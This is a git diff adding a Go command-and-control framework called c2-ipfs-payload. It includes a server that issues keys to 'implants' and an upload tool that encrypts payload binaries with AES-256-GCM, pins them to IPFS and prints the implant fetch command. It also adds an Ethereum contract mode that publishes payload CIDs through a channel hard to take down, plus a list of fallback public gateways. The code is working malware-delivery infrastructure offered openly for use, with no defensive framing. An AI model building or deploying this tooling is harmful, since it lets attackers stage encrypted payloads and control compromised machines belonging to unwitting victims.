log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey))
|
||||||
|
}
|
||||||
|
fmt.Printf("Using provided encryption key: %s...%s\n",
|
||||||
|
cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:])
|
||||||
|
} else {
|
||||||
|
keyHex, err := crypto.GenerateKey()
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to generate key: %v", err)
|
||||||
|
}
|
||||||
|
encKey, _ = hex.DecodeString(keyHex)
|
||||||
|
fmt.Printf("Generated new encryption key: %s\n", keyHex)
|
||||||
|
fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key")
|
||||||
|
fmt.Println()
|
||||||
|
}
|
||||||
|
|
||||||
|
// IPFS client
|
||||||
|
ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT)
|
||||||
|
|
||||||
|
server := &Server{
|
||||||
|
startTime: time.Now(),
|
||||||
|
mode: cfg.mode,
|
||||||
|
ipfsClient: ipfsClient,
|
||||||
|
encKey: encKey,
|
||||||
|
config: cfg,
|
||||||
|
contractAddress: cfg.contractAddr,
|
||||||
|
rpcURL: cfg.rpcURL,
|
||||||
|
history: make([]types.CIDEntry, 0, cfg.maxHistory),
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start console
|
||||||
|
go server.runConsole()
|
||||||
|
|
||||||
|
// Start HTTP server (mode A only; mode B uses console-only for contract ops)
|
||||||
|
if cfg.mode == "http" {
|
||||||
|
go server.startHTTPServer()
|
||||||
|
} else if cfg.mode == "contract" {
|
||||||
|
log.Printf("Running in contract mode — no HTTP CID hub.")
|
||||||
|
log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.")
|
||||||
|
fmt.Printf("Contract address: %s\n", cfg.contractAddr)
|
||||||
|
fmt.Printf("RPC URL: %s\n", cfg.rpcURL)
|
||||||
|
} else {
|
||||||
|
log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait for signal
|
||||||
|
sigCh := make(chan os.Signal, 1)
|
||||||
|
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
|
||||||
|
<-sigCh
|
||||||
|
fmt.Println("\nShutting down...")
|
||||||
|
}
|
||||||
87
c2s_ipfs_payloads/cmd/upload/main.go
Normal file
87
c2s_ipfs_payloads/cmd/upload/main.go
Normal file
|
|
@ -0,0 +1,87 @@
|
||||||
|
// Command upload encrypts a binary, uploads it to IPFS, and prints the CID.
|
||||||
|
//
|
||||||
|
// Usage:
|
||||||
|
//
|
||||||
|
// ./upload -key <32-byte-hex-key> -file payload.bin
|
||||||
|
// ./upload -key <key> -file payload.bin -ipfs-api http://localhost:5001/api/v0
|
||||||
|
// ./upload -key <key> -file payload.bin -pinata-jwt <jwt>
|
||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"flag"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
|
||||||
|
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
var (
|
||||||
|
keyHex = flag.String("key", "", "Encryption key (32-byte hex)")
|
||||||
|
filePath = flag.String("file", "", "Payload file to encrypt and upload")
|
||||||
|
ipfsAPI = flag.String("ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL")
|
||||||
|
pinataJWT = flag.String("pinata-jwt", "", "Pinata.cloud JWT (alternative upload)")
|
||||||
|
noUpload = flag.Bool("no-upload", false, "Only encrypt locally, skip IPFS")
|
||||||
|
output = flag.String("output", "", "Output file (default: <file>.enc)")
|
||||||
|
)
|
||||||
|
flag.Parse()
|
||||||
|
|
||||||
|
if *keyHex == "" {
|
||||||
|
log.Fatal("--key is required (32-byte hex key)")
|
||||||
|
}
|
||||||
|
if *filePath == "" {
|
||||||
|
log.Fatal("--file is required")
|
||||||
|
}
|
||||||
|
|
||||||
|
data, err := os.ReadFile(*filePath)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Failed to read payload file: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
key, err := crypto.HexToKey(*keyHex)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Invalid key: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
encrypted, err := crypto.Encrypt(data, key)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("Encryption failed: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
outFile := *output
|
||||||
|
if outFile == "" {
|
||||||
|
base := filepath.Base(*filePath)
|
||||||
|
outFile = base + ".enc"
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := os.WriteFile(outFile, encrypted, 0644); err != nil {
|
||||||
|
log.Fatalf("Failed to write encrypted file: %v", err)
|
||||||
|
}
|
||||||
|
fmt.Printf("✅ Encrypted payload saved: %s (%d bytes)\n", outFile, len(encrypted))
|
||||||
|
|
||||||
|
if *noUpload {
|
||||||
|
fmt.Println("Skipping IPFS upload (-no-upload flag)")
|
||||||
|
fmt.Println("\nManual steps:")
|
||||||
|
fmt.Println(" 1. ipfs add", outFile)
|
||||||
|
fmt.Println(" 2. Use the CID: cid <cid>")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
client := ipfs.NewClient(*ipfsAPI, *pinataJWT)
|
||||||
|
resp, err := client.Upload(encrypted, filepath.Base(outFile))
|
||||||
|
if err != nil {
|
||||||
|
log.Fatalf("IPFS upload failed: %v\n", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("✅ Uploaded to IPFS!\n")
|
||||||
|
fmt.Printf(" CID: %s\n", resp.CID)
|
||||||
|
fmt.Printf(" Size: %d bytes\n", len(encrypted))
|
||||||
|
fmt.Println("\nNext steps:")
|
||||||
|
fmt.Println(" 1. On the server console, run: cid", resp.CID)
|
||||||
|
fmt.Println(" 2. Or deploy directly: deploy", *filePath)
|
||||||
|
fmt.Println("\nImplant command:")
|
||||||
|
fmt.Printf(" ./client --cid-source <hub-url> --decryption-key %s\n", *keyHex)
|
||||||
|
}
|
||||||
2
c2s_ipfs_payloads/go.mod
Normal file
2
c2s_ipfs_payloads/go.mod
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
go 1.26
|
||||||
|
module github.com/churchofmalware/c2-ipfs-payload
|
||||||
65
c2s_ipfs_payloads/pkg/auth.go
Normal file
65
c2s_ipfs_payloads/pkg/auth.go
Normal file
|
|
@ -0,0 +1,65 @@
|
||||||
|
// Package auth provides simple HTTP basic authentication middleware for the CID hub.
|
||||||
|
package auth
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/subtle"
|
||||||
|
"net/http"
|
||||||
|
)
|
||||||
|
|
||||||
|
// BasicAuth wraps an HTTP handler with basic auth protection.
|
||||||
|
func BasicAuth(username, password string, next http.HandlerFunc) http.HandlerFunc {
|
||||||
|
return func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if username == "" {
|
||||||
|
// No auth configured
|
||||||
|
next(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
user, pass, ok := r.BasicAuth()
|
||||||
|
if !ok {
|
||||||
|
w.Header().Set("WWW-Authenticate", `Basic realm="CID Hub"`)
|
||||||
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
userMatch := subtle.ConstantTimeCompare([]byte(user), []byte(username)) == 1
|
||||||
|
passMatch := subtle.ConstantTimeCompare([]byte(pass), []byte(password)) == 1
|
||||||
|
|
||||||
|
if !userMatch || !passMatch {
|
||||||
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
next(w, r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// JWTAuth wraps an HTTP handler with JWT bearer token auth.
|
||||||
|
// This is a simple token comparison for HMAC-style tokens.
|
||||||
|
func JWTAuth(token string, next http.HandlerFunc) http.HandlerFunc {
|
||||||
|
return func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if token == "" {
|
||||||
|
next(w, r)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
authHeader := r.Header.Get("Authorization")
|
||||||
|
if authHeader == "" {
|
||||||
|
http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Support both "Bearer <token>" and "<token>" directly
|
||||||
|
provided := authHeader
|
||||||
|
if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
|
||||||
|
provided = authHeader[7:]
|
||||||
|
}
|
||||||
|
|
||||||
|
if subtle.ConstantTimeCompare([]byte(provided), []byte(token)) != 1 {
|
||||||
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
next(w, r)
|
||||||
|
}
|
||||||
|
}
|
||||||
60
c2s_ipfs_payloads/pkg/contract.go
Normal file
60
c2s_ipfs_payloads/pkg/contract.go
Normal file
|
|
@ -0,0 +1,60 @@
|
||||||
|
// Package contract handles smart contract interaction for the fully
|
||||||
|
// decentralized CID feed mode (MODE B).
|
||||||
|
//
|
||||||
|
// This file only contains the interface. The actual implementation requires
|
||||||
|
// go-ethereum and is in contract_eth.go (build tag: ethereum).
|
||||||
|
package contract
|
||||||
|
|
||||||
|
import "errors"
|
||||||
|
|
||||||
|
// CIDEvent represents a NewCID event emitted by the smart contract.
|
||||||
|
type CIDEvent struct {
|
||||||
|
CID string
|
||||||
|
Sender string
|
||||||
|
Timestamp uint64
|
||||||
|
BlockNum uint64
|
||||||
|
TxHash string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Watcher watches a smart contract for NewCID events.
|
||||||
|
type Watcher interface {
|
||||||
|
// Watch starts watching for new CID events. The callback is called
|
||||||
|
// for each event. Returns a channel that receives an error on failure.
|
||||||
|
Watch(callback func(CIDEvent)) (<-chan error, error)
|
||||||
|
|
||||||
|
// GetLatestCID fetches the current CID from the contract.
|
||||||
|
GetLatestCID() (string, error)
|
||||||
|
|
||||||
|
// SendCID submits a new CID to the contract (requires wallet).
|
||||||
|
SendCID(cid string, privateKeyHex string) (string, error)
|
||||||
|
|
||||||
|
// Close cleans up the watcher.
|
||||||
|
Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
// ErrNotCompiledWithEthereum is returned when the binary is not built with
|
||||||
|
// the ethereum build tag.
|
||||||
|
var ErrNotCompiledWithEthereum = errors.New("not compiled with -tags ethereum; rebuild with: go build -tags ethereum")
|
||||||
|
|
||||||
|
// PlaceholderWatcher returns errors requiring go-ethereum.
|
||||||
|
type PlaceholderWatcher struct{}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
||||||
|
return nil, ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) GetLatestCID() (string, error) {
|
||||||
|
return "", ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) SendCID(cid, privateKeyHex string) (string, error) {
|
||||||
|
return "", ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
|
|
||||||
|
func (p *PlaceholderWatcher) Close() {}
|
||||||
|
|
||||||
|
// NewWatcher creates a contract watcher. If go-ethereum is not available,
|
||||||
|
// returns a placeholder that errors.
|
||||||
|
var NewWatcher func(rpcURL, contractAddr string) (Watcher, error) = func(rpcURL, contractAddr string) (Watcher, error) {
|
||||||
|
return &PlaceholderWatcher{}, ErrNotCompiledWithEthereum
|
||||||
|
}
|
||||||
264
c2s_ipfs_payloads/pkg/contract_eth.go
Normal file
264
c2s_ipfs_payloads/pkg/contract_eth.go
Normal file
|
|
@ -0,0 +1,264 @@
|
||||||
|
//go:build ethereum
|
||||||
|
// +build ethereum
|
||||||
|
|
||||||
|
package contract
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/ecdsa"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"math/big"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/ethereum/go-ethereum"
|
||||||
|
"github.com/ethereum/go-ethereum/accounts/abi"
|
||||||
|
"github.com/ethereum/go-ethereum/common"
|
||||||
|
"github.com/ethereum/go-ethereum/core/types"
|
||||||
|
"github.com/ethereum/go-ethereum/crypto"
|
||||||
|
"github.com/ethereum/go-ethereum/ethclient"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ContractABI is the minimal ABI for the CID feed contract.
|
||||||
|
const ContractABI = `[
|
||||||
|
{
|
||||||
|
"anonymous": false,
|
||||||
|
"inputs": [
|
||||||
|
{"indexed": true, "name": "sender", "type": "address"},
|
||||||
|
{"indexed": false, "name": "cid", "type": "string"},
|
||||||
|
{"indexed": false, "name": "timestamp", "type": "uint256"}
|
||||||
|
],
|
||||||
|
"name": "NewCID",
|
||||||
|
"type": "event"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"inputs": [],
|
||||||
|
"name": "latestCID",
|
||||||
|
"outputs": [{"name": "", "type": "string"}],
|
||||||
|
"stateMutability": "view",
|
||||||
|
"type": "function"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"inputs": [{"name": "_cid", "type": "string"}],
|
||||||
|
"name": "publishCID",
|
||||||
|
"outputs": [],
|
||||||
|
"stateMutability": "nonpayable",
|
||||||
|
"type": "function"
|
||||||
|
}
|
||||||
|
]`
|
||||||
|
|
||||||
|
// EthWatcher implements Watcher using go-ethereum.
|
||||||
|
type EthWatcher struct {
|
||||||
|
client *ethclient.Client
|
||||||
|
contractAddr common.Address
|
||||||
|
contractABI abi.ABI
|
||||||
|
lastBlock uint64
|
||||||
|
ctx context.Context
|
||||||
|
cancel context.CancelFunc
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewEthWatcher creates a new Ethereum contract watcher.
|
||||||
|
func init() {
|
||||||
|
NewWatcher = func(rpcURL, contractAddr string) (Watcher, error) {
|
||||||
|
return NewEthWatcher(rpcURL, contractAddr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewEthWatcher creates a new Ethereum contract watcher.
|
||||||
|
func NewEthWatcher(rpcURL, contractAddr string) (*EthWatcher, error) {
|
||||||
|
client, err := ethclient.Dial(rpcURL)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to connect to Ethereum node: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
parsedABI, err := abi.JSON(strings.NewReader(ContractABI))
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to parse contract ABI: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithCancel(context.Background())
|
||||||
|
|
||||||
|
return &EthWatcher{
|
||||||
|
client: client,
|
||||||
|
contractAddr: common.HexToAddress(contractAddr),
|
||||||
|
contractABI: parsedABI,
|
||||||
|
ctx: ctx,
|
||||||
|
cancel: cancel,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Watch watches the contract for NewCID events.
|
||||||
|
func (w *EthWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
|
||||||
|
errCh := make(chan error, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
pollInterval := 15 * time.Second
|
||||||
|
ticker := time.NewTicker(pollInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-w.ctx.Done():
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
if err := w.pollEvents(callback); err != nil {
|
||||||
|
log.Printf("Event poll error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
return errCh, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// pollEvents checks for new events since the last seen block.
|
||||||
|
func (w *EthWatcher) pollEvents(callback func(CIDEvent)) error {
|
||||||
|
header, err := w.client.HeaderByNumber(w.ctx, nil)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to get block header: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
currentBlock := header.Number.Uint64()
|
||||||
|
if currentBlock <= w.lastBlock {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
fromBlock := w.lastBlock
|
||||||
|
if fromBlock == 0 {
|
||||||
|
fromBlock = currentBlock - 100 // Look back 100 blocks on first poll
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build query
|
||||||
|
eventSig := crypto.Keccak256Hash([]byte("NewCID(address,string,uint256)"))
|
||||||
|
query := ethereum.FilterQuery{
|
||||||
|
FromBlock: big.NewInt(int64(fromBlock)),
|
||||||
|
ToBlock: big.NewInt(int64(currentBlock)),
|
||||||
|
Addresses: []common.Address{w.contractAddr},
|
||||||
|
Topics: [][]common.Hash{{eventSig}},
|
||||||
|
}
|
||||||
|
|
||||||
|
logs, err := w.client.FilterLogs(w.ctx, query)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to filter logs: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, vLog := range logs {
|
||||||
|
event, err := w.parseEvent(vLog)
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("Failed to parse event: %v", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
callback(event)
|
||||||
|
}
|
||||||
|
|
||||||
|
w.lastBlock = currentBlock
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// parseEvent parses a NewCID event from a raw log.
|
||||||
|
func (w *EthWatcher) parseEvent(vLog types.Log) (CIDEvent, error) {
|
||||||
|
var event struct {
|
||||||
|
Sender common.Address
|
||||||
|
CID string
|
||||||
|
Timestamp *big.Int
|
||||||
|
}
|
||||||
|
|
||||||
|
err := w.contractABI.UnpackIntoInterface(&event, "NewCID", vLog.Data)
|
||||||
|
if err != nil {
|
||||||
|
return CIDEvent{}, fmt.Errorf("failed to unpack event data: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return CIDEvent{
|
||||||
|
CID: event.CID,
|
||||||
|
Sender: event.Sender.Hex(),
|
||||||
|
Timestamp: event.Timestamp.Uint64(),
|
||||||
|
BlockNum: vLog.BlockNumber,
|
||||||
|
TxHash: vLog.TxHash.Hex(),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetLatestCID fetches the current CID from the contract.
|
||||||
|
func (w *EthWatcher) GetLatestCID() (string, error) {
|
||||||
|
result, err := w.contractABI.Pack("latestCID")
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to pack call: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
msg := ethereum.CallMsg{
|
||||||
|
To: &w.contractAddr,
|
||||||
|
Data: result,
|
||||||
|
}
|
||||||
|
|
||||||
|
output, err := w.client.CallContract(w.ctx, msg, nil)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("contract call failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
var cid string
|
||||||
|
if err := w.contractABI.UnpackIntoInterface(&cid, "latestCID", output); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to unpack response: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return cid, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SendCID submits a new CID to the contract.
|
||||||
|
func (w *EthWatcher) SendCID(cid string, privateKeyHex string) (string, error) {
|
||||||
|
privateKey, err := crypto.HexToECDSA(privateKeyHex)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("invalid private key: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
publicKey := privateKey.Public()
|
||||||
|
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
|
||||||
|
if !ok {
|
||||||
|
return "", fmt.Errorf("failed to get public key")
|
||||||
|
}
|
||||||
|
|
||||||
|
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
|
||||||
|
|
||||||
|
nonce, err := w.client.PendingNonceAt(w.ctx, fromAddress)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to get nonce: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
gasPrice, err := w.client.SuggestGasPrice(w.ctx)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to get gas price: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Pack the function call
|
||||||
|
data, err := w.contractABI.Pack("publishCID", cid)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to pack function call: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
gasLimit := uint64(200000) // reasonable estimate
|
||||||
|
|
||||||
|
tx := types.NewTransaction(nonce, w.contractAddr, big.NewInt(0), gasLimit, gasPrice, data)
|
||||||
|
|
||||||
|
chainID, err := w.client.NetworkID(w.ctx)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to get chain ID: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("failed to sign transaction: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := w.client.SendTransaction(w.ctx, signedTx); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to send transaction: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return signedTx.Hash().Hex(), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close cleans up the watcher.
|
||||||
|
func (w *EthWatcher) Close() {
|
||||||
|
w.cancel()
|
||||||
|
if w.client != nil {
|
||||||
|
w.client.Close()
|
||||||
|
}
|
||||||
|
}
|
||||||
143
c2s_ipfs_payloads/pkg/crypto.go
Normal file
143
c2s_ipfs_payloads/pkg/crypto.go
Normal file
|
|
@ -0,0 +1,143 @@
|
||||||
|
// Package crypto handles payload encryption and decryption.
|
||||||
|
// Uses AES-256-GCM for authenticated encryption.
|
||||||
|
package crypto
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/aes"
|
||||||
|
"crypto/cipher"
|
||||||
|
"crypto/rand"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// KeySize is the AES-256 key size in bytes.
|
||||||
|
KeySize = 32
|
||||||
|
|
||||||
|
// NonceSize is the GCM nonce size.
|
||||||
|
NonceSize = 12
|
||||||
|
)
|
||||||
|
|
||||||
|
// DeriveKey derives a 32-byte AES-256 key from an arbitrary passphrase.
|
||||||
|
// Uses SHA-256 as the KDF (simple; for production use Argon2).
|
||||||
|
func DeriveKey(passphrase string) []byte {
|
||||||
|
h := sha256.Sum256([]byte(passphrase))
|
||||||
|
return h[:]
|
||||||
|
}
|
||||||
|
|
||||||
|
// Encrypt encrypts plaintext using AES-256-GCM with the given key.
|
||||||
|
// The key should be 32 bytes (use DeriveKey for passphrases).
|
||||||
|
// Returns: nonce || ciphertext || tag
|
||||||
|
func Encrypt(plaintext, key []byte) ([]byte, error) {
|
||||||
|
if len(key) != KeySize {
|
||||||
|
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||||
|
}
|
||||||
|
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
aesGCM, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
nonce := make([]byte, NonceSize)
|
||||||
|
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to generate nonce: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Seal appends the encrypted data (ciphertext + tag) to nonce
|
||||||
|
ciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)
|
||||||
|
return ciphertext, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Decrypt decrypts data using AES-256-GCM.
|
||||||
|
// Expects: nonce || ciphertext || tag
|
||||||
|
func Decrypt(data, key []byte) ([]byte, error) {
|
||||||
|
if len(key) != KeySize {
|
||||||
|
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(data) < NonceSize+1 {
|
||||||
|
return nil, errors.New("ciphertext too short")
|
||||||
|
}
|
||||||
|
|
||||||
|
block, err := aes.NewCipher(key)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create cipher: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
aesGCM, err := cipher.NewGCM(block)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("failed to create GCM: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
nonce := data[:NonceSize]
|
||||||
|
ciphertext := data[NonceSize:]
|
||||||
|
|
||||||
|
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("decryption failed: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return plaintext, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// EncryptHex encrypts plaintext and returns hex-encoded output.
|
||||||
|
func EncryptHex(plaintext []byte, keyHex string) (string, error) {
|
||||||
|
key, err := hex.DecodeString(keyHex)
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("invalid key hex: %w", err)
|
||||||
|
}
|
||||||
|
ct, err := Encrypt(plaintext, key)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return hex.EncodeToString(ct), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DecryptHex decrypts hex-encoded data and returns plaintext.
|
||||||
|
func DecryptHex(dataHex string, key []byte) ([]byte, error) {
|
||||||
|
data, err := hex.DecodeString(dataHex)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid hex data: %w", err)
|
||||||
|
}
|
||||||
|
return Decrypt(data, key)
|
||||||
|
}
|
||||||
|
|
||||||
|
// HexToKey decodes a hex string into a 32-byte key.
|
||||||
|
func HexToKey(hexStr string) ([]byte, error) {
|
||||||
|
key, err := hex.DecodeString(hexStr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("invalid hex: %w", err)
|
||||||
|
}
|
||||||
|
if len(key) != KeySize {
|
||||||
|
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
|
||||||
|
}
|
||||||
|
return key, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// HexToKeyWithFallback accepts either a 64-char hex key (32 bytes) or any
|
||||||
|
// passphrase and derives a key using SHA-256.
|
||||||
|
func HexToKeyWithFallback(input string) []byte {
|
||||||
|
if len(input) == 64 {
|
||||||
|
if key, err := hex.DecodeString(input); err == nil && len(key) == KeySize {
|
||||||
|
return key
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return DeriveKey(input)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GenerateKey generates a random 32-byte AES-256 key and returns it as hex.
|
||||||
|
func GenerateKey() (string, error) {
|
||||||
|
key := make([]byte, KeySize)
|
||||||
|
if _, err := io.ReadFull(rand.Reader, key); err != nil {
|
||||||
|
return "", fmt.Errorf("failed to generate key: %w", err)
|
||||||
|
}
|
||||||
|
return hex.EncodeToString(key), nil
|
||||||
|
}
|
||||||
270
c2s_ipfs_payloads/pkg/ipfs.go
Normal file
270
c2s_ipfs_payloads/pkg/ipfs.go
Normal file
|
|
@ -0,0 +1,270 @@
|
||||||
|
// Package ipfs handles IPFS file uploads and downloads via HTTP gateways and APIs.
|
||||||
|
package ipfs
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"crypto/sha256"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"math/rand"
|
||||||
|
"net/http"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// DefaultGateways lists public IPFS gateways for fallback.
|
||||||
|
var DefaultGateways = []string{
|
||||||
|
"https://ipfs.io/ipfs/%s",
|
||||||
|
"https://cloudflare-ipfs.com/ipfs/%s",
|
||||||
|
"https://ipfs.filebase.io/ipfs/%s",
|
||||||
|
"https://dweb.link/ipfs/%s",
|
||||||
|
"https://cf-ipfs.com/ipfs/%s",
|
||||||
|
}
|
||||||
|
|
||||||
|
// UploadResponse from IPFS API or pinning service.
|
||||||
|
type UploadResponse struct {
|
||||||
|
CID string `json:"cid"`
|
||||||
|
Name string `json:"name,omitempty"`
|
||||||
|
Size int64 `json:"size,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// Client handles IPFS operations.
|
||||||
|
type Client struct {
|
||||||
|
apiURL string // e.g., http://localhost:5001/api/v0
|
||||||
|
pinataJWT string // optional Pinata JWT
|
||||||
|
httpClient *http.Client
|
||||||
|
}
|
||||||
|
|
